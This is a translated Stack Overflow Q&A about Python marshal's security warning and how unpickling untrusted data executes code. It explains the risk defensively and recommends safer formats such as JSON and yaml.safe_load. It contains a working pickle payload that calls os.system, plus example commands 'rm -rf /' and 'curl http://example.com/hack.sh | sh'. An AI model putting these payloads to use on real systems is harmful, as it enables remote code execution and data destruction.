我在一个项目中工作,我使用cPickle
来快速加载文件。几天前,我读到marshal
可能比cPickle
更快。它适用于我,但我很好奇,the documentation对此的警告是什么:
警告
marshal
模块并非旨在防止错误或恶意构造的数据。切勿从不受信任或未经身份验证的来源解组数据。
如果我不小心,会发生什么?
答案 0 :(得分:8)
没有已知的方式来利用marshal
。实际上执行代码时
使用marshal.loads()
不是我能做的事情,而是看着
marhal.c
源代码,我没有看到明显的方法。
那为什么这个警告呢? The BDFL explains:
顺便说一下,关于元帅的警告是合法的 - 解密编组数据的C代码 没有仔细分析缓冲区溢出等问题。记得 有人第一次通过恶意JPEG闯入系统?相同 可能发生在元帅身上。严重。
我建议你阅读剩下的讨论内容;一个错误显示在哪里 解组数据会导致Python出现段错误;自Python以来,这已得到修复 2.5(这个bug可能会被滥用来执行代码)。其他错误可能 但仍然存在!
此外,marshal
文档提及:
这不是一般的“持久性”模块。 [..]编组模块存在 主要是支持读写Python的“伪编译”代码 .pyc文件的模块。
因此,它甚至不能以可靠的方式保存数据。
您可以使用pickle
轻松执行任意代码。例如:
>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'ls /'\ntR.")
bin data download home lib64 mnt proc run srv tmp usr var
boot dev etc lib lost+found opt root sbin sys ubuntu vagrant
0
这是一个无害的ls /
,但也可能是一个不那么无害的rm -rf /
,或者
curl http://example.com/hack.sh | sh
。
您可以使用pickletools
模块查看其工作原理:
>>> import pickletools
>>> pickletools.dis(b"cos\nsystem\n(S'ls /'\ntR.")
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING 'ls /'
20: t TUPLE (MARK at 11)
21: R REDUCE
22: . STOP
pickle.py
对这些操作码的含义有一些评论:
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
MARK = b'(' # push special markobject on stack
STRING = b'S' # push string; NL-terminated string argument
TUPLE = b't' # build tuple from topmost stack items
REDUCE = b'R' # apply callable to argtuple, both on stack
STOP = b'.' # every pickle ends with STOP
大多数都是不言自明的;使用GLOBAL
,您可以获得任何功能,并且
与REDUCE
你称之为。
由于Python非常动态,你也可以使用它来修补程序
在运行时。例如,您可以使用更改check_password
功能
将密码上传到服务器的地方。
XML,json,MessagePack,ini文件,或者其他东西。这取决于 在您的情况下哪种格式最好。
此代码是否“经过仔细分析,以防止缓冲区溢出等”?谁 知道。大多数代码都没有,C使得做错事情变得容易。 1 甚至是Python 代码可能容易受到攻击,因为may call functions implemented in C that are vulnerable。
有have been problems with Python's JSON module。但同时
时间,它在面向公众的应用程序中使用了很多,所以可能安全。它会
当然比marshal
更安全,因为这只是为.pyc
文件设计的
并明确附带“未经审核!”警告。
这当然不能保证。请记住YAML security hole a few years back that caused every Ruby on Rails application in the world to be vulnerable to arbitrary code execution。哎呀!这甚至不是一个微妙的缓冲区 溢出,但更明显的问题。
请注意,不使用yaml的load()
方法,因为它有the
same problems as Ruby's YAML。请改用safe_load()
。
pickle
模块中的警告是非常有必要的(它可能应该是
虽然更强,但marshal
模块上方的警告似乎更多
“此代码的设计并未考虑到安全性” - 警告类型,但是
实际上利用它并不是那么容易,而是依赖于假设的存在
在未知的错误。不过,你可能最好不要使用其他东西。
1 确实应该有一个“仔细分析缓冲区溢出等等”对开源项目的信任印章。是的,您可以通过Veracode等方式支付大笔资金并分析您的代码,但这对于开源项目来说是不可行的。几年前以Core Infrastructure Initiative的形式在OpenSSL Heartbleed集群之后做了一些的努力,但其范围和预算相当有限(但它相当年轻,可能在几年内获得牵引力。)